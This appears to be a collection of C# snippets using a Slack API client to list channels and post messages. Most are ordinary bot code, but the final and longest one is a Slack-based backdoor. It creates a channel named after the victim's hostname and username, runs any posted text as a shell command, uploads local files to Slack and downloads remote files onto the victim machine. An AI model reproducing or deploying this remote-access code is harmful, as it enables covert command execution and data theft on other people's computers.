public string GetChannelId(string name) { SlackClient.GetChannelList((cl) => { }); var c = SlackClient.Channels.Find((channel) => (channel.name.Equals(name))); return(c.id); }
private Task <ChannelListResponse> GetChannelListAsync() { var tskSource = new TaskCompletionSource <ChannelListResponse>(TaskCreationOptions.RunContinuationsAsynchronously); _client.GetChannelList(response => tskSource.TrySetResult(response)); return(tskSource.Task); }
public void RefreshChannelList(Action callback = null) { client.GetChannelList((clr) => { callback?.Invoke(); }); }
public ChannelListResponse GetChannelList() { ChannelListResponse list = null; Connect(); Slack.GetChannelList((listResponse) => { list = listResponse; ClientReady.Set(); }); ClientReady.Wait(); ClientReady.Reset(); return(list); }
public void Start() { LoadConfig(); rand = new Random(); LoadFaces(); haarCascade = new CascadeClassifier(config.classifierFile); client = new SlackSocketClient(config.botToken); checkSocketTimer = new System.Timers.Timer(); checkSocketTimer.Elapsed += CheckSocketConnected; checkSocketTimer.Interval = 10000; // in miliseconds checkSocketTimer.Start(); try { ManualResetEventSlim clientReady = new ManualResetEventSlim(false); ManualResetEventSlim stopClient = new ManualResetEventSlim(false); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); Console.WriteLine("Connected!"); }, () => { // This is called once the RTM client has connected to the end point }); clientReady.Wait(); client.OnMessageReceived += OnMessageReceived; client.BindCallback <NewFileSharedMessage>(OnNewFileShared); client.GetChannelList(GetChannelsCallback); var c = client.Channels.Find(x => x.name.Equals("general")); //we listen and post only on the general channel myChannels.Add(c); stopClient.Wait(); } catch (Exception e) { Console.WriteLine("Error: Unable to connect to slack."); } }
private void RefreshChannelsTimer_Elapsed(object sender, ElapsedEventArgs e) { try { using (ManualResetEventSlim w1 = new ManualResetEventSlim()) { _client.GetChannelList((clr) => { try { Log.Info("Got Channels"); _client.Channels = clr.channels.ToList(); } finally { w1.Set(); } }); w1.Wait(); } } catch (Exception ex) { Log.Error(nameof(RefreshChannelsTimer_Elapsed), ex); } }
internal List <AwsDotnetCsharp.Models.Channel> GetChannels(List <string> channelIds) { var token = Environment.GetEnvironmentVariable("SLACK_ACCESS_TOKEN"); if (token == null) { throw new Exception("Error getting slack token from ssm"); } ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); // client.OnMessageReceived += (message) => // { // // Handle each message as you receive them // }; clientReady.Wait(); client.GetChannelList((ulr) => { Console.WriteLine("got channels"); }); var channelList = new List <AwsDotnetCsharp.Models.Channel>(); foreach (var u in channelIds) { var slackChannels = client.Channels.Find(x => x.id.Equals(u)); channelList.Add(new Models.Channel { id = slackChannels.id, name = slackChannels.name }); } // Release the socket. client.CloseSocket(); return(channelList); }
/// <summary> /// Send slack message /// </summary> /// <param name="channelName"></param> /// <param name="message"></param> public void SendSlackMessage(string channelName, string message) { try { SlackSocketClient.GetChannelList((clr) => { Console.WriteLine("got channels"); }); var channels = SlackSocketClient.Channels; var slackChannel = SlackSocketClient.Channels.Find(x => x.name.Equals(channelName)); if (slackChannel == null) { Console.WriteLine("Channel does not exist"); return; } SlackSocketClient.PostMessage((mr) => Console.WriteLine(message), slackChannel.id, message); } catch (Exception exception) { Console.WriteLine(exception); } }
static void Main(string[] args) { string slack_token = "xoxb-TokenHere"; //CHANGE THIS string oauth_token = "xoxp-TokenHere"; //CHANGE THIS string targetID = ""; //This is to only accept messages sent through the created channel. Otherwise, any message received by the bot is to be executed. ManualResetEventSlim clientReady = new ManualResetEventSlim(false); SlackSocketClient client = new SlackSocketClient(slack_token); SlackSocketClient oauth_client = new SlackSocketClient(oauth_token); client.Connect((connected) => { // This is called once the client has emitted the RTM start command clientReady.Set(); }, () => { // This is called once the RTM client has connected to the end point }); client.OnMessageReceived += (message) => { // Handle each message as you receive them if (message.bot_id == null && targetID == message.channel) //Only execute messages sent by users { switch (message.text.ToLower().Split(' ')[0]) { case "exit": //Terminate the shell client.PostMessage(null, message.channel.ToString(), "Channel Terminated!"); Thread.Sleep(20); Environment.Exit(1); break; case "upload": //Upload local files to Slack channel string[] ch = new string[1]; ch[0] = message.channel.ToString(); try { string path = message.text.ToLower().Split(new[] { ' ' }, 2)[1]; client.UploadFile(null, System.IO.File.ReadAllBytes(path), System.IO.Path.GetFileName(path), ch); } catch (Exception e) { client.PostMessage(null, message.channel.ToString(), e.Message); } break; case "download": //Download files to the victim .. download [URL] [NameOfFile/Path] string @remoteUri = message.text.Split(new[] { ' ' }, 3)[1]; string @fileName = message.text.Split(new[] { ' ' }, 3)[2]; using (var down = new System.Net.WebClient()) { try { remoteUri = remoteUri.Replace(">", ""); remoteUri = remoteUri.Replace("<", ""); down.DownloadFile(@remoteUri, @fileName); client.PostMessage(null, message.channel.ToString(), "Downloaded successfully."); } catch (Exception e) { client.PostMessage(null, message.channel.ToString(), e.Message.ToString()); } break; } default: //Execute command if no keywords used string output = Execute(message.text); client.PostMessage(null, message.channel.ToString(), "```" + output + "```"); break; } } }; clientReady.Wait(); string chan_name = (System.Net.Dns.GetHostName() + "_" + Environment.UserName).ToLower(); //Grab Hostname and Username for the channel name client.GetChannelList(null); var general = client.Channels.Find(x => x.name.Equals("general")); oauth_client.ChannelsCreate((response) => { //Create channel and assigne the targetID if (response.ok) { client.PostMessage(null, general.id, "[+] Channel " + chan_name + " is created. Have fun :)"); targetID = response.channel.id.ToString(); } else if (response.error == "name_taken") { client.PostMessage(null, general.id, "[*] Channel " + chan_name + " is already exists."); targetID = client.Channels.Find(x => x.name.Equals(chan_name)).id; } else { client.PostMessage(null, general.id, "[-] Channel " + chan_name + " " + response.error.ToString()); } }, chan_name); while (true) { Thread.Sleep(1000); } }